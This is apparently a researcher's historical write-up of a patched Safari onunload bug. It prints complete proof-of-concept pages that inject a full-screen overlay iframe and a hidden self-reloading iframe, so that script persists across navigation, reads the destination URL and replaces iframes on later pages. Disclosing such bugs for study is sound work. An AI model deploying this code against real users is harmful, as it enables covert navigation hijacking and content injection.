After the IE resident script work, I was curious whether the same class of issues appeared in Safari. It turned out that Safari had its own onunload quirk: during the unload event, you could call document.write on the top-level document to inject iframes that would persist into the next page load. One of those injected iframes could then carry the resident script, giving the attacker code that survived navigation just like the IE variant.
onunload POC
<!-- onunloadPOC/index.html: intercepts navigation via onunload -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Safari OnUnload Bug</TITLE>
</HEAD>
<BODY bgcolor="white">
<center>
<font face="Arial" size="3" color="blue">
<h1>Get user address by interrupting ONUNLOAD</h1>
<br />
<a href="http://www.google.com">Google</a><br /><br />
<font face="Arial" size="3" color="black">
Change the URL (by clicking on the link or by typing on the addressbar, and we will know where you want to go, just before leaving this page.
</font>
</center>
<script language="JavaScript">
window.onunload = function()
{
document.write("Interrupted... location.href = the location you wanted to go.");
document.close();
setTimeout("alert('You wanted to go to: '+ location.href);location.href = location.href", 500);
}
</script>
</BODY>
</HTML>
Resident POC with Banner Hijacking
<!-- ResidentPOC/index.html: full resident + iframe hijacker -->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Safari Hijacking Banners</TITLE>
</HEAD>
<BODY bgcolor="white">
<center>
<font face="Arial" size="3" color="blue">
<h1>Simple Resident Script Demo</h1>
<br />
<a href="http://www.live.com">Live</a><br /><br />
<a href="http://www.altavista.com">Altavista</a><br /><br />
<a href="http://www.google.com">Google</a><br /><br />
<a href="http://www.yahoo.com">Yahoo!</a><br /><br />
<br /><br />
<font face="Arial" size="3" color="black">
Resident Script with IFRAME hijacker <b>loaded!</b> Change the URL manually or click on a link...<br /><br />
We are covering the URL because it will give away the POC. Better not to show it. :)
</font>
</font>
</center>
<script language="JavaScript">
var stopTimeout = false;
window.onunload = function()
{
top.document.write('<iframe name="ifr" style="position:absolute;top:2px;left:0px;" frameborder="no" width="100%" height="99%" src="redirect.html"></iframe>');
top.document.write('<iframe style="position:absolute;top:-100px;left:0px;width:1px;height:10px;" src="index.html"></iframe>');
top.document.close();
stopTimeout = true;
}
function hijackIframes()
{
if (stopTimeout) return;
var keepSearching = true;
var mainWindow = top[top.length-2];
if (mainWindow.length > 0)
{
keepSearching = false;
var hihackIframe = confirm('There are ' + mainWindow.length + ' iframe/s on the main window. \n\nDo you want to hijack them?');
if (hihackIframe)
{
for (var i=0; i<mainWindow.length; i++)
{
mainWindow[i].location = "hijacked_iframe.html";
}
return;
}
}
if (keepSearching) setTimeout("hijackIframes()", 3000);
}
hijackIframes();
confirm("The main location is: \n\n" + top.location + "\n\nDo you want to see this alert next time you change the main URL?");
</script>
</BODY>
</HTML>
<!-- redirect.html: the iframe that mirrors the current top URL -->
<BODY>
<script language="JavaScript">
function delay()
{
parent.document.body.style = "overflow:hidden";
top.document.title = top.location;
location.href = top.location;
}
delay();
</script>
</BODY>
<!-- hijacked_iframe.html: replaces any iframe found on the main page -->
<html>
<head><title>Hijacked IFRAME</title></head>
<body bgcolor="blue">
<font face="Arial" size="2" color="white">
<script language="JavaScript">
document.write('<h2>Hacked IFRAME - HIJACKED ADVERTISEMENT</h2>top.location (main URL) = <b>' + top.location+ '</b>');
</script>
</font>
</body>
</html>
The onunload handler in Safari ran with enough privilege to document.write new iframes into the parent document. The first injected iframe was a near-full-screen overlay that redirected to whatever URL the user was navigating to — so the browser appeared to navigate normally, but actually the content was being served through an attacker-controlled frame. The second tiny hidden iframe reloaded index.html, keeping the resident script alive for the next navigation. The hijacking function then scanned for iframes on whatever page the user arrived at and replaced them with attacker content.
Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.